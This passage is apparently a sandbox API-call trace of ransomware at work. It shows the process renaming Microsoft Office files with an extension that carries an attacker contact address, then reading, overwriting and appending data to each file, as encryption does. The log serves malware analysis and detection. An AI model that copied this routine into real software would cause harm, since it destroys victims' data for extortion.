lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0136.450] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x623fc6c | out: lpFindFileData=0x623fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7992, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00117_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="DD0011~1.FIR")) returned 0x6d5200 [0136.451] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0136.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0136.451] GetProcessHeap () returned 0x630000 [0136.451] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x79a1) returned 0x72a8b58 [0136.451] GetProcessHeap () returned 0x630000 [0136.451] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x79a1) returned 0x7206978 [0136.451] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.451] ReadFile (in: hFile=0x6a8, lpBuffer=0x72a8b58, nNumberOfBytesToRead=0x7980, lpNumberOfBytesRead=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72a8b58*, lpNumberOfBytesRead=0x623ff0c*=0x7980, lpOverlapped=0x0) returned 1 [0139.924] GetProcessHeap () returned 0x630000 [0139.924] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317a68 [0139.924] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.925] WriteFile (in: hFile=0x6a8, lpBuffer=0x7206978*, nNumberOfBytesToWrite=0x7980, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7206978*, lpNumberOfBytesWritten=0x623ff0c*=0x7980, lpOverlapped=0x0) returned 1 [0139.925] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.925] WriteFile (in: hFile=0x6a8, lpBuffer=0x720e2f7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x720e2f7*, lpNumberOfBytesWritten=0x623ff0c*=0x20, lpOverlapped=0x0) returned 1 [0139.925] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.925] WriteFile (in: hFile=0x6a8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x623ff0c*=0x4, lpOverlapped=0x0) returned 1 [0139.925] CloseHandle (hObject=0x6a8) returned 1 [0139.925] GetProcessHeap () returned 0x630000 [0139.925] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7206978 | out: hHeap=0x630000) returned 1 [0139.925] GetProcessHeap () returned 0x630000 [0139.925] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72a8b58 | out: hHeap=0x630000) returned 1 [0139.926] GetProcessHeap () returned 0x630000 [0139.926] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317a68 | out: hHeap=0x630000) returned 1 [0139.926] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0139.926] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x623fcc4 | out: lpFindFileData=0x623fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x195ab0f1, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x79b6, dwReserved0=0x90c7496, dwReserved1=0x72a8b50, cFileName="DD00117_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="DD0011~1.FIR")) returned 0x6d5480 [0139.926] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0139.927] Sleep (dwMilliseconds=0x1) [0140.793] SysReAllocStringLen (in: pbstr=0x623ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms", len=0x4a | out: pbstr=0x623ff7c*="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 1 [0140.794] GetProcessHeap () returned 0x630000 [0140.794] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7203db8, Size=0x1c7c) returned 0x7203db8 [0140.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0142.701] CloseHandle (hObject=0x410) returned 1 [0142.701] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0142.701] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ppd.xrm-ms"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0142.989] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0142.989] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x623fc6c | out: lpFindFileData=0x623fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe4e04d8b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe4e04d8b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe4ec3936, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x675e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MondoR_Retail-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MONDOR~4.FIR")) returned 0x6d53c0 [0142.989] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0142.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0142.989] GetProcessHeap () returned 0x630000 [0142.989] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x6761) returned 0x6f06978 [0142.990] GetProcessHeap () returned 0x630000 [0142.990] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x6761) returned 0x6f0d0e8 [0142.990] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.990] ReadFile (in: hFile=0x410, lpBuffer=0x6f06978, nNumberOfBytesToRead=0x6740, lpNumberOfBytesRead=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f06978*, lpNumberOfBytesRead=0x623ff0c*=0x6740, lpOverlapped=0x0) returned 1 [0145.141] GetProcessHeap () returned 0x630000 [0145.141] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7177b78 [0145.141] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.141] WriteFile (in: hFile=0x410, lpBuffer=0x6f0d0e8*, nNumberOfBytesToWrite=0x6740, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f0d0e8*, lpNumberOfBytesWritten=0x623ff0c*=0x6740, lpOverlapped=0x0) returned 1 [0145.734] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.734] WriteFile (in: hFile=0x410, lpBuffer=0x6f13827*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f13827*, lpNumberOfBytesWritten=0x623ff0c*=0x20, lpOverlapped=0x0) returned 1 [0145.923] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.923] WriteFile (in: hFile=0x410, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x623ff0c*=0x4, lpOverlapped=0x0) returned 1 [0145.923] CloseHandle (hObject=0x410) returned 1 [0145.923] GetProcessHeap () returned 0x630000 [0145.923] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f0d0e8 | out: hHeap=0x630000) returned 1 [0145.923] GetProcessHeap () returned 0x630000 [0145.923] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f06978 | out: hHeap=0x630000) returned 1 [0145.923] GetProcessHeap () returned 0x630000 [0145.923] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7177b78 | out: hHeap=0x630000) returned 1 [0145.923] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0145.923] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x623fcc4 | out: lpFindFileData=0x623fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe4e04d8b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe4e04d8b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1ced08ae, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x6782, dwReserved0=0x90c7496, dwReserved1=0x6f06970, cFileName="MondoR_Retail-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MONDOR~4.FIR")) returned 0x6d5280 [0145.923] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0145.923] Sleep (dwMilliseconds=0x1) [0146.017] SysReAllocStringLen (in: pbstr=0x623ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PIPELINE.VRD", len=0x41 | out: pbstr=0x623ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PIPELINE.VRD") returned 1 [0146.017] GetProcessHeap () returned 0x630000 [0146.017] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x277c) returned 0x71f7c78 [0146.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PIPELINE.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pipeline.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x640 [0146.546] CloseHandle (hObject=0x640) returned 1 [0146.546] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0146.573] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PIPELINE.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pipeline.vrd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PIPELINE.VRD.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pipeline.vrd.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0146.574] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.574] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PIPELINE.VRD.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x623fc6c | out: lpFindFileData=0x623fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x46fe4fe, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x46fe4fe, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x46fe4fe, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x780, dwReserved0=0x0, dwReserved1=0x0, cFileName="PIPELINE.VRD.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PIPELI~1.FIR")) returned 0x6d5280 [0146.574] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0146.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PIPELINE.VRD.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pipeline.vrd.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x640 [0146.575] GetProcessHeap () returned 0x630000 [0146.575] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x7a1) returned 0x6e5368 [0146.575] GetProcessHeap () returned 0x630000 [0146.575] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x7a1) returned 0x6efad30 [0146.575] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.575] ReadFile (in: hFile=0x640, lpBuffer=0x6e5368, nNumberOfBytesToRead=0x780, lpNumberOfBytesRead=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e5368*, lpNumberOfBytesRead=0x623ff0c*=0x780, lpOverlapped=0x0) returned 1 [0146.583] GetProcessHeap () returned 0x630000 [0146.583] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee2b0 [0146.583] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.584] WriteFile (in: hFile=0x640, lpBuffer=0x6efad30*, nNumberOfBytesToWrite=0x780, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6efad30*, lpNumberOfBytesWritten=0x623ff0c*=0x780, lpOverlapped=0x0) returned 1 [0146.584] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.584] WriteFile (in: hFile=0x640, lpBuffer=0x6efb4af*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6efb4af*, lpNumberOfBytesWritten=0x623ff0c*=0x20, lpOverlapped=0x0) returned 1 [0146.584] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.584] WriteFile (in: hFile=0x640, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x623ff0c*=0x4, lpOverlapped=0x0) returned 1 [0146.584] CloseHandle (hObject=0x640) returned 1 [0146.584] GetProcessHeap () returned 0x630000 [0146.584] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6efad30 | out: hHeap=0x630000) returned 1 [0146.584] GetProcessHeap () returned 0x630000 [0146.584] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e5368 | out: hHeap=0x630000) returned 1 [0146.584] GetProcessHeap () returned 0x630000 [0146.584] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee2b0 | out: hHeap=0x630000) returned 1 [0146.584] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.584] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PIPELINE.VRD.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x623fcc4 | out: lpFindFileData=0x623fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x46fe4fe, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x46fe4fe, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1d512a9f, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x7a4, dwReserved0=0x90c7496, dwReserved1=0x6e5360, cFileName="PIPELINE.VRD.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PIPELI~1.FIR")) returned 0x6d5280 [0146.585] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0146.585] Sleep (dwMilliseconds=0x1) [0146.591] SysReAllocStringLen (in: pbstr=0x623ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC_K_COL.HXK", len=0x44 | out: pbstr=0x623ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC_K_COL.HXK") returned 1 [0146.591] GetProcessHeap () returned 0x630000 [0146.591] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x26e8) returned 0x71f7c78 [0146.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msouc_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x640 [0146.592] CloseHandle (hObject=0x640) returned 1 [0146.592] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0146.592] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msouc_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msouc_k_col.hxk.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0146.593] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.593] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x623fc6c | out: lpFindFileData=0x623fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9b5d49a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9b5d49a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9b5d49a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOUC_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSOUC_~1.FIR")) returned 0x6d53c0 [0146.593] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0146.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msouc_k_col.hxk.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x640 [0146.593] GetProcessHeap () returned 0x630000 [0146.593] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a4868 [0146.593] GetProcessHeap () returned 0x630000 [0146.594] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a47d8 [0146.594] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.594] ReadFile (in: hFile=0x640, lpBuffer=0x6a4868, nNumberOfBytesToRead=0x60, lpNumberOfBytesRead=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4868*, lpNumberOfBytesRead=0x623ff0c*=0x60, lpOverlapped=0x0) returned 1 [0146.595] GetProcessHeap () returned 0x630000 [0146.595] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee198 [0146.595] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.595] WriteFile (in: hFile=0x640, lpBuffer=0x6a47d8*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a47d8*, lpNumberOfBytesWritten=0x623ff0c*=0x60, lpOverlapped=0x0) returned 1 [0146.595] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.595] WriteFile (in: hFile=0x640, lpBuffer=0x6a4837*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4837*, lpNumberOfBytesWritten=0x623ff0c*=0x20, lpOverlapped=0x0) returned 1 [0146.595] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.595] WriteFile (in: hFile=0x640, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x623ff0c*=0x4, lpOverlapped=0x0) returned 1 [0146.595] CloseHandle (hObject=0x640) returned 1 [0146.595] GetProcessHeap () returned 0x630000 [0146.596] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a47d8 | out: hHeap=0x630000) returned 1 [0146.596] GetProcessHeap () returned 0x630000 [0146.596] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a4868 | out: hHeap=0x630000) returned 1 [0146.596] GetProcessHeap () returned 0x630000 [0146.596] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee198 | out: hHeap=0x630000) returned 1 [0146.596] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.596] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x623fcc4 | out: lpFindFileData=0x623fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9b5d49a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9b5d49a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1d5389e9, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x95, dwReserved0=0x623fd20, dwReserved1=0x6a4868, cFileName="MSOUC_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSOUC_~1.FIR")) returned 0x6d53c0 [0146.596] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0146.596] Sleep (dwMilliseconds=0x1) [0146.604] SysReAllocStringLen (in: pbstr=0x623ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC_F_COL.HXK", len=0x44 | out: pbstr=0x623ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC_F_COL.HXK") returned 1 [0146.604] GetProcessHeap () returned 0x630000 [0146.604] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x26e4) returned 0x71f7c78 [0146.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msouc_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x710 [0146.605] CloseHandle (hObject=0x710) returned 1 [0146.605] 